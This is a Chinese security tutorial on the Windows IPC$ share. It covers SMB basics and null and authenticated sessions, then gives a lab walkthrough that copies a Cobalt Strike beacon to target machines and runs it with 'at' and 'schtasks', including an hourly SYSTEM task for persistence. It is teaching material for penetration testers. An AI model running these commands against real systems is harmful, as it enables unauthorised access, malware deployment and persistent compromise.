Windows的IPC$共享学习
✎ 阅读须知
乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
乌鸦安全拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经允许,禁止转载!
本文所提供的工具仅用于学习,禁止用于其他,请在24小时内删除工具文件!!!
更新时间:2022.06.16
本文大量参考了公开链接资料,大部分关于原理的东西都是参考了很多师傅的优秀文章:
https://baike.baidu.com/item/ipc/91622
https://wenku.baidu.com/view/05c3106da45177232f60a2e9.html
https://wenku.baidu.com/view/b480746c25c52cc58ad6be06.html
https://mp.weixin.qq.com/s/t5n4yK2LUTjD4nbMudqvsw
1. IPC$
1.1 IPC介绍
IPC(Inter-ProcessCommunication,进程间通信)。进程间通信是指两个进程的数据之间产生交互。
来源:https://baike.baidu.com/item/ipc/91622
关于进程间通信(InterProcess Communication),管道和共享内存为大家所熟知,包括匿名管道和命名管道。
Windows系统的IPC$
其实就命名管道的一种应用,考虑到它用于不同设备间通信,所以可以翻译为Internet Process Connection,是共享命名管道。
通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。
IPC是Windows 2000(内核版本号为NT 5.0)新增的功能,它有一个特点:即在同一时间内,两个IP之间只允许建立一个连接。Windows 2000在提供了 IPC 共享功能的同时,在初次安装系统时还打开了默认共享,即所有的逻辑共享(C、D、E……)和系统目录共享(Admin)。所有的这些初衷都是为了方便管理员的管理。但好的初衷并不一定有好的收效,一些别有用心者会利用IPC
参考链接:[https://wenku.baidu.com/view/05c3106da45177232f60a2e9.html](https://wenku.baidu.com/view/05c3106da45177232f60a2e9.html)
Windows
操作系统在安装完成后,会自动设置共享的目录:所有的盘符+Admin目录(C:\Windows)等,即ADMIN
、 C
、D$
,使用net share
命令可以查看:
换台设备看下:
这些共享是隐藏的,只有管理员权限能够进行远程操作。
1.2 常用命令
net use #查看本机建立的连接(本机连接其他机器)
net session #查看本机建立的连接(其他机器连接的本机),需要administrator用户执行
net share #查看本地开启的共享
net share `IPC$` #开启`IPC$`共享
net share `IPC$` /del #删除`IPC$`共享
net share admin$ /del #删除admin$共享
net share c$ /del #删除C盘共享
net share d$ /del #删除D盘共享
net use * /del #删除所有连接
net use \\192.168.135.15 #与192.168.135.15建立ipc空连接
net use \\192.168.135.15\`IPC$` #与192.168.135.15建立ipc空连接
net use \\192.168.135.15\`IPC$` /u:"" "" #与192.168.135.15建立ipc空连接
net view \\192.168.135.15 #查看远程主机开启的默认共享
net use \\192.168.135.15 /u:"administrator" "root" #以administrator身份与192.168.135.15建立ipc连接
net use \\192.168.135.15 /del #删除建立的ipc连接
net time \\192.168.135.15 #查看该主机上的时间
net use \\192.168.135.15\c$ /u:"administrator" "root" #建立C盘共享
dir \\192.168.135.15\c$ #查看192.168.135.15C盘文件
dir \\192.168.135.15\c$\user #查看192.168.135.15C盘文件下的user目录
dir \\192.168.135.15\c$\user\test.exe #查看192.168.135.15C盘文件下的user目录下的test.exe文件
net use \\192.168.135.15\c$ /del #删除该C盘共享连接
net use k: \\192.168.135.15\c$ /u:"administrator" "root" #将目标C盘映射到本地K盘
net use k: /del #删除该映射
1.3 拓扑图
2. IPC利用条件
来源:https://mp.weixin.qq.com/s/t5n4yK2LUTjD4nbMudqvsw
2.1 开启了139、445端口
首先我们来了解一些基础知识:
- • SMB: (Server Message Block) Windows协议族,用于文件打印共享的服务;
- • NBT: (NETBios Over TCP/IP)使用137(UDP)138(UDP)139(TCP)端口实现基于TCP/IP协议的NETBIOS网络互联。
- • 在WindowsNT中SMB基于NBT实现,即使用139(TCP)端口;而在Windows2000中,SMB除了基于NBT实现,还可以直接通过445端口实现
2.2 目标主机开启了IPC$共享
默认共享是为了方便管理员进行远程管理而默认开启的,包括所有的逻辑盘(C、D等)和系统目录 winnt 或 windows(admin)以及IPC。这些共享默认是开启的。可以使用net share命令查看这些共享是否开启。
2.3 IPC连接报错
如果目标主机没有开放139
或445
端口,我们去使用IPC$
连接的话,会提示找不到网络名。
第二节来源于:https://mp.weixin.qq.com/s/t5n4yK2LUTjD4nbMudqvsw
3. IPC空连接
[https://wenku.baidu.com/view/b480746c25c52cc58ad6be06.html](https://wenku.baidu.com/view/b480746c25c52cc58ad6be06.html)
在介绍空会话之前,我们有必要了解一下一个安全会话是如何建立的。在Windows NT
中,是使用 NTLM
挑战响应机制认证。传送门——> NTLM认证方式(工作组环境中)
空会话是在没有信任的情况下与服务器建立的会话(即未提供用户名与密码)。那么建立空会话到底可以做什么呢?
利用IPC,黑客甚至可以与目标主机建立一个空的连接,而无需用户名与密码(当然,对方机器必须开了IPC共享,否则你是连接不上的),而利用这个空的连接,连接者还可以得到目标主机上的用户列表(不过负责的管理员会禁止导出用户列表的)。建立了一个空的连接后,黑客可以获得不少的信息(而这些信息往往是入侵中必不可少的),访问部分共享,如果黑客能够以某一个具有一定权限的用户身份登陆的话,那么就会得到相应的权限。
空连接权限很低,基本无用。
建立IPC空连接
net use \\192.168.135.15
net use \\192.168.135.15 /u:"" ""
或者:net use \\192.168.135.15\`IPC$` /u:"" ""
但是空连接的权限很低,没有什么用处,基本上很多命令都无法执行:
4. 非空连接
非空连接分为两种情况,使用管理员权限用户,可以做任何事(就是很多命令) 普通用户权限,仅能查看时间命令
建立非空连接的方法:
建立`IPC$`非空连接
net use \\192.168.135.15\`IPC$` /u:"administrator" "Admin@admin"
4.1 查看远程文件
dir \\192.168.135.15\c$
4.2 查看远程某一个用户的文件夹
查看远程192.168.135.15上C
盘的crow
用户的文件夹:
dir \\192.168.135.15\c$\Users\crow
4.3 远程盘映射到本地
在这里使用
net use k: \\192.168.135.15\c$ /u:"administrator" "Admin@admin"
命令成功之后,可以将远程的盘映射到本地来访问,在这里可以执行任意操作:
打开窗口之后,也可以看到当前的命令行是远程的命令行:
当然,当前的操作还是在本地,用户也是本地的,只是多了一个盘而已:
4.4 查看进程
tasklist /S 192.168.135.15 /U administrator -P Admin@admin
注意,使用该命令的时候,就算是已经建立IPC
连接了,依旧需要输入远程机器的用户名和密码信息才可以执行;
4.5 复制文件
在这里可以使用命令行进行复制,也可以将目录挂载之后直接在界面上复制操作,也是可以的。
copy fscan.exe \\192.168.135.15\c$ #将指定文件拷贝到目标系统中
4.6 执行定时任务
执行定时任务分成两种:
- • at命令:只适用于win xp、2003等低版本:at 命令是Windows自带的用于创建计划任务的命令,但是 at 命令只在2003及以下的版本使用
- • schtasks 命令:Windows Vista、Windows Server 2008及之后版本
4.6.1 at命令
跳板机
Windows7
192.168.135.13
靶机
Windows server2003
192.168.135.5
用户名:administrator
密码:admin
首先在本机准备好一个cs
,然后新建监听和生成木马:
生成的木马首先传到跳板机上去,然后准备使用IPC
命令访问winserver2003
:
使用IPC
命令:
net use \\192.168.135.5 /u:"administrator" "admin"
此时可以看到靶机上C盘
的信息,此时开始写马:
首先查看靶机的时间:
net time \\192.168.135.5
然后使用copy
命令将cs
的马儿拷贝到主机上去:
copy beacon.exe \\192.168.135.5\c$
使用at
命令创建任务计划运行木马:
at \\192.168.135.5 13:20:00 cmd.exe /c "c:\beacon.exe"
此时上线成功:
在这里注意到有一个作业ID=2
,这是创建任务计划的ID
,同样可以通过指令将其删除:
at \\192.168.135.5 1 /delete
当有不存在的ID
时,会进行提示:
4.6.2 schtasks命令
跳板机
Windows7
192.168.135.13
靶机
Windows server2008
192.168.135.15
用户名:administrator
密码:Admin@admin
4.6.2.1 schtasks常用命令
创建任务的命令行是schtasks /create
,后方再加上其他参数,比较常用的参数如下:
参考:[https://chenchena.blog.csdn.net/article/details/124154100](https://chenchena.blog.csdn.net/article/details/124154100)
/sc 计划任务类型,可选值为MINUTE、HOURLY、DAILY、WEEKLY、ONCE、ONSTART、ONLOGON、ONIDLE、MONTHLY、ONEVENT
/tn 计划任务名称,后续查询、修改、删除、执行时使用
/tr 需要运行的程序或命令,传入的命令中间如果有空格会被截断为程序和参数,因此需要将双引号转义并传入。
/ru 运行任务的用户账户名,不使用此参数的话使用执行schtasks命令的账户运行计划任务
/rp 运行任务的用户账户密码
/mo 指定任务在计划类型中的运行间隔
/d 指定任务在一个月或者星期的某一天运行,只适用于MONTHLY和WEEKLY类型。
/m 指定任务在某个月运行,只适用于MONTHLY类型。
/i 当计划任务类型为ONIDLE时,运行任务前计算机处于空闲状态的分钟数。
/st 当计划任务类型为MINUTE、HOURLY、DAILY、WEEKLY、MONTHLY时使用,指定任务的开始时间,默认为本地计算机的当前时间。
/ri 指定计划任务的重复间隔,以分钟为单位。不适合计划类型:MINUTE、HOURLY、ONSTART、ONLOGON、ONIDLE
/et 指定计划任务的结束时间,适用于计划类型:MINUTE、HOURLY, 在指定的结束时间之后,schtasks 不会再次启动任务,除非当前系统时间调回开始时间。默认情况下,没有结束时间。
/du 指定任务计划的持续时间,与/et类似,默认情况下没有持续时间。
/k 在指定计划任务的结束时间或持续时间后停止任务,如果不加此参数,则在时间到了会继续运行或者重启该任务。
/it 只在用户登录时运行
/z 在任务计划完成后删除任务计划
/f 在创建任务时如果任务已存在不显示警告
/RL 为作业设置运行级别。有效值为LIMITED 和 HIGHEST。默认值为 LIMITED。
/F 如果指定的任务已经存在,则强制创建任务并抑制警告。
当使用了/sc参数为MINUTE、HOURLY、DAILY、WEEKLY时,我们需要指定/mo运行的间隔时间
MINUTE: 1 到 1439 分钟。
HOURLY: 1 - 23 小时。
DAILY: 1 到 365 天。
WEEKLY: 1 到 52 周。
ONCE: 无修改者。
ONSTART: 无修改者。
ONLOGON: 无修改者。
ONIDLE: 无修改者。
MONTHLY: 1 到 12,或
FIRST, SECOND, THIRD, FOURTH, LAST, LASTDAY。
ONEVENT: XPath 事件查询字符串。
4.6.2.2 执行schtasks命令
使用IPC
命令连接winserver2008
:
net use \\192.168.135.15 /u:"administrator" "Admin@admin"
此时可以看到靶机上C盘
的信息,此时开始写马,首先查看靶机的时间:
net time \\192.168.135.15
然后使用copy
命令将cs
的马儿拷贝到主机上去:
copy beacon.exe \\192.168.135.15\c$
使用schtasks
命令时,会在系统中留下日志文件:
C:\Windows\Tasks\SchedLgU.txt
在这里组合命令试试看:
schtasks /create /s 192.168.135.15 /u administrator /p Admin@admin /tn test_crow /tr c:/beacon.exe /sc once /st 14:32
#/s 目标 /u 用户名 /p 密码 /tn 计划任务名 /tr 指定文件路径 /sc 执行次数 或频率 /st 开始时间
此时上线成功:
4.6.2.3 查看任务计划
schtasks /query /s 192.168.135.15 /u administrator /p Admin@admin /tn test_crow # 查看任务计划
4.6.2.4 删除任务计划
schtasks /delete /s 192.168.135.15 /u administrator /p Admin@admin /tn test_crow #删除任务计划
4.6.2.5 定时启动任务计划
首先新建一个计划任务:
在目标主机上创建一个名为test_crow的计划任务,启动程序为c:/beacon.exe ,启动权限为system,启动时间为每隔一小时启动一次
schtasks /create /s 192.168.135.15 /u administrator /p Admin@admin /tn test_crow /sc HOURLY /mo 1 /tr c:/beacon.exe /ru system /f
其他启动时间参数:
/sc onlogon 用户登录时启动
/sc onstart 系统启动时启动
/sc onidle 系统空闲时启动
此处参考:https://mp.weixin.qq.com/s/t5n4yK2LUTjD4nbMudqvsw
查看当前的任务计划:
在这里使用命令启动该计划任务:
schtasks /run /s 192.168.135.15 /u administrator /p Admin@admin /i /tn test_crow
激活之后,执行木马上线。删除任务计划:
schtasks /delete /s 192.168.135.15 /u administrator /p Admin@admin /tn test_crow
image.png
5. 总结
本文大量参考了谢公子的文章以及网络上其他的文章,基本上算是对IPC$
共享的一个简单总结,感谢各位师傅的精彩文章,不胜感激!
参考资料:
https://baike.baidu.com/item/ipc/91622
https://wenku.baidu.com/view/05c3106da45177232f60a2e9.html
https://wenku.baidu.com/view/b480746c25c52cc58ad6be06.html
https://mp.weixin.qq.com/s/t5n4yK2LUTjD4nbMudqvsw
相关文章
- KMS 激活脚本一键生成,激活 Windows 必备-星泽V社
- 未能连接一个windows服务器,Win7出现未能连接一个Windows服务的解决办法
- 在 Windows 系统下常用的 bat 脚本分享
- Lua开发第一步 – Windows安装 – 各类lua开源组件添加、使用
- windows install Redis
- 【RocketMq】 RocketMq 4.9.4 Windows-docker 部署
- 巧用Windows事件日志“隐藏”载荷
- 新的Windows搜索零日漏洞可被远程托管恶意软件利用
- 从转储lsass学习Windows安全
- 数据库安装:Windows安装MySQL8.0.28.0.msi方式
- 实现Windows客户端通过SSH连接Linux服务器(windows连接linux服务器)
- windows激活Windows:Linux下的秘诀(linux激活)
- 在windows 中无效Oracle Preferences Invalid on Windows Platform(oracle首选项)
- 终于来了!Windows 11全新现代文件资源管理器一览
- windows三大操作系统:IE,Linux,Windows(ielinux)
- Windows上的超强缓存—Redis(windowsredis)
- Windows安装mysql5.5数据库
- 微软为Windows 10用户提供免费的迷彩主题墙纸包
- 比较Windows和Linux:哪一个更好?(windows好还是linux好)
- “Linux轻松与Windows双启:引导快速添加方法”(linux添加windows引导)
- Linux与Windows的文件夹共享(linux和windows共享文件夹)
- Windows无法启动MySQL服务:解决方案.(windows无法启动mysql服务)
- Mac远程Linux:实现远程Windows无与伦比的体验(mac远程linux软件)
- 如何在Windows下安装Linux系统(如何在windows下安装linux)
- 比较:Windows 与 Linux 的异同(windows和linux)
- 深入详解C编写Windows服务程序的五个步骤